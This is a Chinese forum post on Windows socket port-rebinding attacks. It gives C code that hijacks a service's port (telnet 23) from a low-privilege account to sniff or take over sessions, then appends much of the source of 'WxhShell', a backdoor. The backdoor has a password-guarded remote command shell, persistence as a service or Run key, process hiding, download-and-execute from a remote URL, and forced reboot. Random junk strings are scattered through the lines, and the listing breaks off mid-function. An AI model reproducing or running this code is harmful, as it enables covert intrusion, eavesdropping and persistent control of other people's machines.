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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E tJ~dL)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xClRO,-  
";PG%_(  
  saddr.sin_family = AF_INET; -|m$YrzG  
l^k+E-w\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jrm0@K+<IA  
3<c*v/L{C\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); { EA2   
<9ma(PFa  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {]&R8?%  
Bj@x$v#/^  
  这意味着什么?意味着可以进行如下的攻击: "A%MVym."  
OuB2 x=B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q}>M& *  
'sj9[o@]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ! L4dUMo  
0/ut:RV0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VR "u*  
+.w[6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A?e,U,  
F?7u~b|@{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !q!"UMiG  
YMi/uy  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T`uDlo  
_zdNLwE[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >f>V5L%1  
xXOR IlD  
  #include <BSSa`N`  
  #include ;:P7}v fz!  
  #include /K f L+"^|  
  #include    ,ohmc\*J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (I[s3EnhS  
  int main() '}_=kp'X  
  { *t^eNUA  
  WORD wVersionRequested; (}G!np  
  DWORD ret; bV_j`:MD  
  WSADATA wsaData; {o( * f  
  BOOL val; YUCC*t  
  SOCKADDR_IN saddr; }7%9}2}Iw  
  SOCKADDR_IN scaddr; Uls+n@\!  
  int err; EOhC6>ATh  
  SOCKET s; @a0Q0M  
  SOCKET sc; > V8sm/M  
  int caddsize; 6F(hY !}5  
  HANDLE mt; cM3jnim  
  DWORD tid;   P/G>/MD/l  
  wVersionRequested = MAKEWORD( 2, 2 ); rS4%$p"  
  err = WSAStartup( wVersionRequested, &wsaData ); _C20 +PMO  
  if ( err != 0 ) { SyAo, )j  
  printf("error!WSAStartup failed!\n"); e gI&epN  
  return -1; Bhe{L?}0  
  } :5jexz."M  
  saddr.sin_family = AF_INET; b:1 L@8s;  
   L/yaVU{aEb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p-xd k|'[  
GV5qdD(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >OK#n)U`  
  saddr.sin_port = htons(23); "TNVD"RLY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =G4u#t)  
  { &pL/ @2+  
  printf("error!socket failed!\n"); nM8[  
  return -1; IB8gDP2  
  } |NJ}F@t/5  
  val = TRUE; >La><.z~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JaI Kjn  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )S*1C@  
  { s7l23*Czl  
  printf("error!setsockopt failed!\n"); g5Hr7K m  
  return -1; cI:-Z{M7z  
  } LTXz$Z]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [1SMg$@<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 FY4T(4#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k"0;D-lTZ>  
RYy,wVh}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lL0M^Nv  
  { UV@0gdy[  
  ret=GetLastError(); `eR 7H>I  
  printf("error!bind failed!\n"); |55dbL$w  
  return -1; s$ z2 c  
  }  q=4Bny0  
  listen(s,2); ?:uNN  
  while(1) C?o6(p"b  
  { orqJ[!u)`  
  caddsize = sizeof(scaddr); 59lj7  
  //接受连接请求 <cj{Qk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^2C>L}  
  if(sc!=INVALID_SOCKET) $FX,zC<=  
  { R5(T([w'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >{nH v)  
  if(mt==NULL) T$P-<s  
  { i\Wdo/c-H  
  printf("Thread Creat Failed!\n"); "@yyXS r  
  break; 9]7u _  
  } ue\t,*KYd  
  } v* ~3Z1  
  CloseHandle(mt); o35fifM`  
  } *x(Jq?5O7X  
  closesocket(s); Ch5+N6c^  
  WSACleanup(); g7n "  
  return 0; x?sI;kUw8  
  }   \Y5W!.(%w  
  DWORD WINAPI ClientThread(LPVOID lpParam) <[i}n55  
  { bRsTBp;R`I  
  SOCKET ss = (SOCKET)lpParam; r\qz5G *6  
  SOCKET sc; ~x]9SXD%  
  unsigned char buf[4096]; N+g@8Q2s;5  
  SOCKADDR_IN saddr; :L:&t,X  
  long num; h-QLV[^  
  DWORD val; Gquuy7[&  
  DWORD ret; kbI/4IRW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ar ^i|`D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Jp~zX lu  
  saddr.sin_family = AF_INET; &JhX +'U  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \#Up|u:  
  saddr.sin_port = htons(23); =.Tv)/ea  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Yj3I5RG  
  { a`c:`v2o  
  printf("error!socket failed!\n"); )^x K   
  return -1; s V  }+eU  
  } 7~UR!T9  
  val = 100; 8dO?K*J,H'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .*5Z"Q['G  
  { j6YiE~  
  ret = GetLastError(); JAjku6  
  return -1; ~ 'Vxg}  
  } 'Jj=RAV`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X#p Wyo~  
  { J/x2qQ$9  
  ret = GetLastError(); %X1x4t]  
  return -1; 4. qtp`  
  } diT=x52  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '7 )"  
  { u{e-G&]^;  
  printf("error!socket connect failed!\n"); s8mr''  
  closesocket(sc); sen=0SB/  
  closesocket(ss); cP>o+-)  
  return -1; rf K8q'@  
  } ^{yk[tHpS  
  while(1) xge7r3i  
  { Dr#c)P~Wd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ud(`V:d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =;L*<I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <V&5P3)d9  
  num = recv(ss,buf,4096,0); n.}T1q|l  
  if(num>0) gAbD7SE  
  send(sc,buf,num,0); 8y2+&#$  
  else if(num==0) obH; g*  
  break; LHYLC>J  
  num = recv(sc,buf,4096,0); R9o-`Wz  
  if(num>0) 6 ,b"  
  send(ss,buf,num,0); jLVl4h&  
  else if(num==0) F7}-!  
  break; g=8un`]7  
  } Dm0a.J v  
  closesocket(ss); !cX[-}Q  
  closesocket(sc);  H`QQG!  
  return 0 ; 8Cx^0  
  } ^A_;#vK  
V9%aBkf8w  
\IM4Z|NN"  
========================================================== GZ#aj|  
8{ c!).  
下边附上一个代码,,WXhSHELL iJh!KEy~A5  
 $)~   
========================================================== 9J-b6,  
sy5 Fn~\R  
#include "stdafx.h" ",qU,0  
Hf gz02Z$  
#include <stdio.h> Wd,a?31|  
#include <string.h> Tny> D0Z#  
#include <windows.h> 5g5'@vMN  
#include <winsock2.h> xyh.N)  
#include <winsvc.h> n~IVNB*  
#include <urlmon.h> N_C;&hJN$w  
kAYb!h[`  
#pragma comment (lib, "Ws2_32.lib") i b6^x:HGU  
#pragma comment (lib, "urlmon.lib") F\JUx L@8  
uKr1Z2  
#define MAX_USER   100 // 最大客户端连接数 kSncZ0K{  
#define BUF_SOCK   200 // sock buffer r#i?j}F}  
#define KEY_BUFF   255 // 输入 buffer kLSrj\6I[  
2\D8.nQr  
#define REBOOT     0   // 重启 ^ZRYRA  
#define SHUTDOWN   1   // 关机 aBuoHdg;  
/ +K?  
#define DEF_PORT   5000 // 监听端口 >h~IfZU1  
J4$! 68  
#define REG_LEN     16   // 注册表键长度 +a@GHx 4-  
#define SVC_LEN     80   // NT服务名长度 j{++6<tr  
a6xj\w  
// 从dll定义API 3INI?y}t   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )(M7lq.e7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sy* y\5yJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <=K qc Hb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z9/G4^qF  
:*514N  
// wxhshell配置信息 A;XOT6jv?  
struct WSCFG { \*vHB`.,ey  
  int ws_port;         // 监听端口 x[_=#8~.1x  
  char ws_passstr[REG_LEN]; // 口令 q<vf,D@{ !  
  int ws_autoins;       // 安装标记, 1=yes 0=no UPU+ver  
  char ws_regname[REG_LEN]; // 注册表键名 c~}l8M %  
  char ws_svcname[REG_LEN]; // 服务名 kh$_!BT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 . RVVWqW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Xf'=+f2p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XUMX*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :;;E<74e i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K+\nC)oG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yc;3Id5?>  
jR ~DToQ  
}; f7urJ'!V  
j1$8#/r;c  
// default Wxhshell configuration l(W[_ D  
struct WSCFG wscfg={DEF_PORT, @r^!{  
    "xuhuanlingzhe", 5X.ebd;PT  
    1, Oft arD  
    "Wxhshell", nv0@xnbz  
    "Wxhshell", -!M,75nU  
            "WxhShell Service", JNI>VP[c  
    "Wrsky Windows CmdShell Service", FVsj;  
    "Please Input Your Password: ", : 9!%ZD  
  1, [onqNp  
  "http://www.wrsky.com/wxhshell.exe", | $^;wP  
  "Wxhshell.exe" GV|9H]_,I  
    }; b8KsR=]4I  
n^(A=G  
// 消息定义模块 qNgd33u1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =s97Z-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /c# `5L[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; . 9G<y 4  
char *msg_ws_ext="\n\rExit."; K/_9f'^  
char *msg_ws_end="\n\rQuit."; cR{>IH4^  
char *msg_ws_boot="\n\rReboot..."; ?8@>6 IXn  
char *msg_ws_poff="\n\rShutdown..."; [U =Uo*  
char *msg_ws_down="\n\rSave to "; z2c5m  
imL_lw^?  
char *msg_ws_err="\n\rErr!"; 1^J`1  
char *msg_ws_ok="\n\rOK!"; f&@BKx  
`b5 @}',  
char ExeFile[MAX_PATH]; 6R UrF  
int nUser = 0; ~ AQp|  
HANDLE handles[MAX_USER];  4-Z()F  
int OsIsNt; |+IZS/W"  
^nK7i[yF.k  
SERVICE_STATUS       serviceStatus; {04"LAE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &p UZDjo?  
O;Y:uHf  
// 函数声明 zzGYiF ?  
int Install(void); vH %gdpxX  
int Uninstall(void); 9Mm!%Hu  
int DownloadFile(char *sURL, SOCKET wsh); N[|Nxm0z/C  
int Boot(int flag); .y5,x\Pq(  
void HideProc(void); kdx y\ jA  
int GetOsVer(void); " K*  
int Wxhshell(SOCKET wsl); .3pbuU  
void TalkWithClient(void *cs); nQK|n^AU/  
int CmdShell(SOCKET sock); H&}ipaDO  
int StartFromService(void); cp Ear  
int StartWxhshell(LPSTR lpCmdLine); ,hxkk`  
n";02?@F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &sVvWNO#2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !|?e7u7  
SU_SU".  
// 数据结构和表定义 ~q +[<xR\  
SERVICE_TABLE_ENTRY DispatchTable[] = a@d=>CT$  
{ 4B+9z^oQ  
{wscfg.ws_svcname, NTServiceMain}, [p r"ZQ]  
{NULL, NULL} Eu<1Bse;  
}; %!Q`e79g8  
(LAXM x  
// 自我安装 {1 J&xoV"  
int Install(void) wt }9B[  
{ @{ ;XZb^  
  char svExeFile[MAX_PATH]; }}{!u0N},V  
  HKEY key; 7XrfuG*L$  
  strcpy(svExeFile,ExeFile); Wk;5/  
Zc& &[g  
// 如果是win9x系统,修改注册表设为自启动 YOyX[&oi  
if(!OsIsNt) { eKZ%2|+j!7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z@D*1\TG=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /G{_7cb  
  RegCloseKey(key); 3*_fzP<R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `xS{0P{uj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q'apG)0I  
  RegCloseKey(key); 9|' B9C  
  return 0; _,h@:Xij  
    } (3vHY`9  
  } -#`c5y}P  
} y k161\  
else { -PB[-CX  
,0$)yZ3*3,  
// 如果是NT以上系统,安装为系统服务 ][PzgzG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r~[vaQQ6L  
if (schSCManager!=0) }b3/b  
{ 01a-{&   
  SC_HANDLE schService = CreateService d?idTcgs  
  ( r WtZj}A  
  schSCManager, 3ucP(Ex@tg  
  wscfg.ws_svcname, OqhD7 +  
  wscfg.ws_svcdisp, vP!GJX &n5  
  SERVICE_ALL_ACCESS, 7;`o( [N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *2 "6fX[  
  SERVICE_AUTO_START, $ls[|N:y0l  
  SERVICE_ERROR_NORMAL, S|AM9*k9  
  svExeFile, p(SRjQt  
  NULL, USJ- e  
  NULL, Ha>*?`?yI  
  NULL, F#|O@.tDG  
  NULL, qKS;x@  
  NULL %bXx!x8(  
  ); JF9yVE-  
  if (schService!=0) .uo.N   
  { =Yo1v=wxN  
  CloseServiceHandle(schService); 4 fV3Ear=j  
  CloseServiceHandle(schSCManager); G>qZxy`c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q=HHNjj8  
  strcat(svExeFile,wscfg.ws_svcname); V2Q$g^X'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &>WWzikB*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vQVK$n`  
  RegCloseKey(key); 8cx=#Me  
  return 0; txql 2  
    } -a Gcf]6  
  } 4o:hyh   
  CloseServiceHandle(schSCManager); Yx'res4e  
} 2],_^XBvB  
} gxPx&Z6jF  
\/7i-B]G7  
return 1; Gm`}(;(A  
}  1iT\df  
wu<])&F  
// 自我卸载 K[\'"HyQ,X  
int Uninstall(void) S/vf'gj  
{ 57{oh")  
  HKEY key; ExSe=4q#  
h~U02"$  
if(!OsIsNt) { C.:=lo B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y@bcYOh3  
  RegDeleteValue(key,wscfg.ws_regname); Sx gYjIa-  
  RegCloseKey(key); 9ILIEm:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /NT[ETMk+  
  RegDeleteValue(key,wscfg.ws_regname); p_*M:P1Ma4  
  RegCloseKey(key); =! Vf  
  return 0; 1xNVdI   
  } T`/IO.2  
} M/D)".;  
} ? Q@kg  
else { hli|B+:m"  
k@>\LR/v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); / il@`w;G  
if (schSCManager!=0) !U_ K&f  
{ $ZPX]2D4B#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AEmNHO@%q  
  if (schService!=0) h)lPi   
  { (%CZ*L[9Z  
  if(DeleteService(schService)!=0) { A|#`k{+1-  
  CloseServiceHandle(schService); T[k4lM  
  CloseServiceHandle(schSCManager); JN/UUfj  
  return 0; wo2@hav  
  } TG48%L  
  CloseServiceHandle(schService); v4Zb? Yb  
  } 75!9FqMZ}  
  CloseServiceHandle(schSCManager); 4:3rc7_ 1  
} {P9J8@D  
} @YvOoTyb  
ivO/;)=t  
return 1; Rx07trfN  
} QZAB=rR  
0oA{Jix  
// 从指定url下载文件 idc`p?XP  
int DownloadFile(char *sURL, SOCKET wsh)  v7  
{ D'<VYl"/  
  HRESULT hr; %\O#&=$E  
char seps[]= "/"; i LBvGZ<9  
char *token; g3n'aD@'x  
char *file; NE8 jC7  
char myURL[MAX_PATH]; a`9L,8Ve  
char myFILE[MAX_PATH]; PupM/?57  
|rw%FM{F  
strcpy(myURL,sURL); wCs^J48=  
  token=strtok(myURL,seps); gyHHoZc3  
  while(token!=NULL) &ad I (s~  
  { -W{DxN1  
    file=token; <`X"}I3 ba  
  token=strtok(NULL,seps); $\o {_?}1  
  } .9*wY0:  
;rI@ *An  
GetCurrentDirectory(MAX_PATH,myFILE); ;DA8B'^>  
strcat(myFILE, "\\"); WFR?fDtE  
strcat(myFILE, file); <P ,~eX(r  
  send(wsh,myFILE,strlen(myFILE),0); ?PA$Ur21lw  
send(wsh,"...",3,0); ,)+ o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  %R#L  
  if(hr==S_OK) I3 =#@2  
return 0; %V &n*3  
else mOpTzg@  
return 1; w&$d* E  
|Z\R*b"  
} $CTSnlPq  
-&82$mj  
// 系统电源模块 8 a!Rb-Q:  
int Boot(int flag) *D4hq=  
{ &*G<a3 Q  
  HANDLE hToken; m42T9wSsx  
  TOKEN_PRIVILEGES tkp; WH ?}~u9  
I jr\5FA[p  
  if(OsIsNt) { 1"8yLvtn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rrg96WD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rWys'uc  
    tkp.PrivilegeCount = 1; ?1L.:CS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #ywk|k5z]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HCK|~k  
if(flag==REBOOT) { 7e7 M@8+4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I`[i;U{CK  
  return 0; .)1_Ew  
} Qjx?ri//  
else { -?]W*f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u&G.4QQF  
  return 0; O/:UJ( e{  
} 6s,uXn  
  } T|&[7%F3"  
  else { =_j vk.  
if(flag==REBOOT) { JvYPC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %0#1t 5g  
  return 0; V)Z70J <'  
} fQrhsuCrC  
else { %B.D^]S1:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FZreP.2)!  
  return 0; ld$i+6|   
} gTRF^knrY  
} +q6ydb,  
|AZg*T3:W  
return 1; j4=(H:c~E  
} (}.@b|s  
sNun+xsf^  
// win9x进程隐藏模块 A!1;}x  
void HideProc(void) A^Kbsc  
{ jYNrD"n  
v}WR+)uFQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cj11S>D  
  if ( hKernel != NULL ) "3FihE]k  
  { ,C3,TkA]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fs/*V~@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ? ` SUQm  
    FreeLibrary(hKernel); bINvqv0v  
  } 1+?^0%AC  
Z{?G.L*/  
return; ! 8`3GX:B_  
} m%?V7-9!k  
vn/.}GkpU  
// 获取操作系统版本 n~VD uKn9  
int GetOsVer(void) NnVnUgx  
{ fNGZo  
  OSVERSIONINFO winfo; E 7-@&=]v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z`YJBcXR  
  GetVersionEx(&winfo); .k,YlFvj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e%W$*f  
  return 1; |7x\m t  
  else j65<8svl  
  return 0; A$6$,h  
} !ct4;.2 D  
7gRgOzWfV  
// 客户端句柄模块 )>BHL3@  
int Wxhshell(SOCKET wsl) :6$>_m=i  
{ n]he-NHP  
  SOCKET wsh; nS>8bub30  
  struct sockaddr_in client; EqI(|bFwy  
  DWORD myID; y(K" -?  
O$4yAaD X  
  while(nUser<MAX_USER) HV<Lf 6gE  
{ #:SNHM^><  
  int nSize=sizeof(client); ToYAW,U[d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hc`A3SMR  
  if(wsh==INVALID_SOCKET) return 1; y( y8+ZT  
bJs9X/E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DK}"b}Fvq  
if(handles[nUser]==0) ;J7F J3n  
  closesocket(wsh); GgKEP,O  
else 2 3gPbtq/  
  nUser++; <tioJG{OT  
  } u{L!n$D7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =FD;~  
}NB}"%2  
  return 0; ({o'd=nO  
} o=1X^,  
ZRYEqSm  
// 关闭 socket )2M>3C6>f  
void CloseIt(SOCKET wsh) {5  sO  
{ }u1O#L}F5  
closesocket(wsh); 2it?$8#i  
nUser--; CD8}I85 K  
ExitThread(0); yq$,,#XDD=  
} C`q@X(_   
"^Ybs'-  
// 客户端请求句柄 Q%f|~Kl-hd  
void TalkWithClient(void *cs) TiH) 5  
{ n93=8;&  
#^ ]n0!  
  SOCKET wsh=(SOCKET)cs; 1UQHq@aM  
  char pwd[SVC_LEN]; ]~3U  
  char cmd[KEY_BUFF]; LCQE_}Mh  
char chr[1]; ZWS`\M  
int i,j; VJS8)oI~  
LcE+GC  
  while (nUser < MAX_USER) { twx[ s$O'b  
(IPY^>h  
if(wscfg.ws_passstr) { nqf,4MR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ox-|JJ=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @K!&qw  
  //ZeroMemory(pwd,KEY_BUFF); e$pMsw'MJ  
      i=0; LlSZr)X  
  while(i<SVC_LEN) { oqeSG.1  
GDuMY\1  
  // 设置超时 &@3H%DP}Ql  
  fd_set FdRead; ?y!E-&  
  struct timeval TimeOut; w[ ~#av9  
  FD_ZERO(&FdRead); {,L+1h  
  FD_SET(wsh,&FdRead); YtWJX kB  
  TimeOut.tv_sec=8; /g4f`$a  
  TimeOut.tv_usec=0; =ha{Ziryo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &/Q0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p"U, G -_  
RZCq{|L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ',S'.U  
  pwd=chr[0]; /7YF mI/0  
  if(chr[0]==0xd || chr[0]==0xa) { |.3DD"*  
  pwd=0; y(xJT j  
  break; qQH]`#P  
  } Y(d$  
  i++; FeTL&$O  
    } VzKW:St  
eD#hpl  
  // 如果是非法用户,关闭 socket ^) s2$A:L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x>Jr_A(  
} ]S5JUAGkE*  
AoI/n4T^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ny%(VI5:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RnDt)3  
+PuPO9jKO@  
while(1) { }O4^Cc6  
w4d--[Q  
  ZeroMemory(cmd,KEY_BUFF); ^R@j=_8}  
aX}P|l  
      // 自动支持客户端 telnet标准   ,c)uX#1  
  j=0; QD>"]ap,o  
  while(j<KEY_BUFF) {  ({=gw9f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]]wA[c~G  
  cmd[j]=chr[0]; ;y2/-tL?  
  if(chr[0]==0xa || chr[0]==0xd) { |1>*;\o-  
  cmd[j]=0; [ra_ 2R  
  break; .8G@%p{,  
  } 9^p;UA  
  j++; ^~A>8CQOU  
    } byfJy^8G  
Q(oN/y3,  
  // 下载文件 ~7zGI\= P@  
  if(strstr(cmd,"http://")) { McQe1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }-6)gWe  
  if(DownloadFile(cmd,wsh)) y)@[Sl>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5)MS~ii  
  else ?C A,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~'CE[G5  
  } Ch3jxgQY  
  else { HI11Jl}{  
#Q`dku%V:  
    switch(cmd[0]) { jyZWV L:_  
  6Z%U`,S  
  // 帮助 vTx2E6  
  case '?': { ] A+?EE2/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |VNnOM  
    break; C .~+*"Vw  
  } @0u~?!g@  
  // 安装 hK,Sf ;5V  
  case 'i': { dKxyA"@  
    if(Install()) Gvr@|{k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~15N7=wCM  
    else ~"kb7Fxp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %s(k_|G+4  
    break; (j3xAA  
    } `,(,t n_  
  // 卸载 j4R(B  
  case 'r': { hj.a&%  
    if(Uninstall()) Z Z:}AQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @dPTk"P  
    else "\o+v|;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h* u  
    break; V1 3N}]  
    } .w8J*JZ  
  // 显示 wxhshell 所在路径 =t H:,SH  
  case 'p': { GfmI<{da  
    char svExeFile[MAX_PATH]; s pp f  
    strcpy(svExeFile,"\n\r"); 3GhRWB-U  
      strcat(svExeFile,ExeFile); ~3WF,mW  
        send(wsh,svExeFile,strlen(svExeFile),0); [J4gH^Z_  
    break; O%5 r[  
    } .xm.DRk3  
  // 重启 .@@?Pj?)  
  case 'b': { +>{Y.`a;Jo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [k;\SXDZo  
    if(Boot(REBOOT)) <#u=[_H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }n3/vlW9  
    else { C8V/UbA /  
    closesocket(wsh); UVd7 JGR  
    ExitThread(0); rp!oO>F  
    } :?g:~+hfO  
    break; V`XNDNJ:  
    } HoRg^Ai?\  
  // 关机 UJ CYs`y  
  case 'd': { opy("qH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DkvF5c&  
    if(Boot(SHUTDOWN)) ]dGw2y  
